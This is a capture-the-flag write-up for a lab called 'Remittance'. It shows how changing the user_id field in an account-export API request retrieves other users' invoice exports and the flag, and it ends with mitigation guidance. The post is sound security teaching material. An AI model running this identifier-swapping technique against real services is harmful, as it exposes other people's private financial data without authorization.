Post

IDOR – Account Export Data Disclosure | Remittance

IDOR – Account Export Data Disclosure | Remittance

Lab: Remittance


Overview

InvoiceVault is a SaaS platform that allows freelancers to manage invoices and export account data for portability purposes. The application exposes an account export API that accepts a user identifier supplied by the client.

Rather than deriving the account identifier from the authenticated session, the endpoint trusts a user-controlled parameter and performs no ownership validation.

As a result, any authenticated user can export the data of other users simply by modifying the supplied identifier.

This is a textbook Insecure Direct Object Reference (IDOR) vulnerability caused by missing object-level authorization controls.


Objective

Abuse the account export functionality to retrieve another user’s exported data and recover the flag.


Vulnerability Identification

This challenge is primarily an Insecure Direct Object Reference (IDOR).

Classification Hierarchy

A01 - Broken Access Control └── Authorization Failure └── Object-Level Authorization └── Insecure Direct Object Reference (IDOR)


Reconnaissance

The application allows users to create accounts and manage invoices.

After registration and login, the account settings page contains an export functionality.

1
https://eb59f33d-4065-remittance-19866.challenges.webverselabs-pro.com/settings

Because export features often return sensitive user information, they are excellent candidates for authorization testing.


Exploitation

Step 1 - Create an Account

Register a new account:

1
https://eb59f33d-4065-remittance-19866.challenges.webverselabs-pro.com/register

After registration, log in and navigate to:

1
/settings

Step 2 - Trigger an Account Export

Use the export functionality from the settings page.

Intercept the request using Burp Suite.

The application sends the following request:

1
2
3
4
5
POST /api/account/export HTTP/2
Host: eb59f33d-4065-remittance-19866.challenges.webverselabs-pro.com
Content-Type: application/json

{"user_id":3}

The export endpoint relies on a client-supplied identifier.

At this stage, the authenticated account belongs to user ID 3.


Step 3 - Test Object-Level Authorization

Modify the identifier to reference another user.

Original request:

1
2
3
{
  "user_id": 3
}

Modified request:

1
2
3
{
  "user_id": 1
}

Forward the request to the server.


Step 4 - Confirm IDOR

The server successfully processes the modified request and returns another user’s export file.

This confirms that the application does not verify whether the requested account belongs to the authenticated user.

Instead, it blindly trusts the supplied identifier.


Step 5 - Inspect Exported Data

The server responds with a ZIP archive:

1
invoicevault-export.zip

Extract the contents:

1
unzip invoicevault-export.zip

The archive contains exported account data, including invoice records.

The first exported account contains invoice information but not the challenge flag.


Step 6 - Enumerate Additional User Records

Repeat the export process using another user identifier.

Modified request:

1
2
3
{
  "user_id": 2
}

The application again exports data belonging to a different account.

Extract the archive:

1
unzip invoicevault-export.zip

Review the exported invoice data:

1
cat invoices.csv

The flag is disclosed within the exported content.

1
WEBVERSE{.....}

Proof of Exploitation

Original Request

1
2
3
{
  "user_id": 3
}

Modified Request

1
2
3
{
  "user_id": 1
}

Successful Unauthorized Export

1
invoicevault-export.zip

Extract Archive

1
unzip invoicevault-export.zip

Review Exported Data

1
cat invoices.csv

Flag

1
WEBVERSE{.....}

Impact

An attacker can:

  • Access other users’ exported account data.
  • Retrieve invoice records.
  • Obtain personally identifiable information (PII).
  • Enumerate customer accounts.
  • Download sensitive business information.
  • Access confidential financial records.

In a production invoicing platform, such a vulnerability could expose:

  • Customer details
  • Billing records
  • Tax information
  • Payment history
  • Business documents

Mitigation

Never Trust Client-Supplied Ownership Information

Avoid accepting user identifiers that determine resource ownership.

Instead of:

1
2
3
{
  "user_id": 1
}

derive ownership from the authenticated session.

Example:

1
user_id = current_user.id

Implement Object-Level Authorization

Every request should verify:

1
Does this resource belong to the authenticated user?

before processing.

Use Server-Side Identity Enforcement

Resource ownership should be determined exclusively on the server.

Perform Authorization Testing

During security reviews, test all endpoints that accept:

1
2
3
4
5
6
id
user_id
account_id
invoice_id
customer_id
document_id

for unauthorized access.

Apply Least Privilege Principles

Users should only access resources they own.


Real-World Insight

IDOR vulnerabilities remain one of the most common access control issues discovered during penetration tests.

Modern applications frequently expose APIs that accept identifiers supplied by the client. When ownership checks are omitted, attackers can simply replace one identifier with another and gain access to unauthorized data.

This type of flaw has affected:

  • Banking platforms
  • Healthcare portals
  • HR systems
  • E-commerce applications
  • Government services

The Remittance challenge demonstrates a classic object-level authorization failure where a trusted identifier becomes the mechanism for unauthorized data access.

The core lesson is simple:

Authentication identifies who a user is. Authorization determines what that user is allowed to access. Both must be enforced for every request.

This post is licensed under CC BY 4.0 by the author.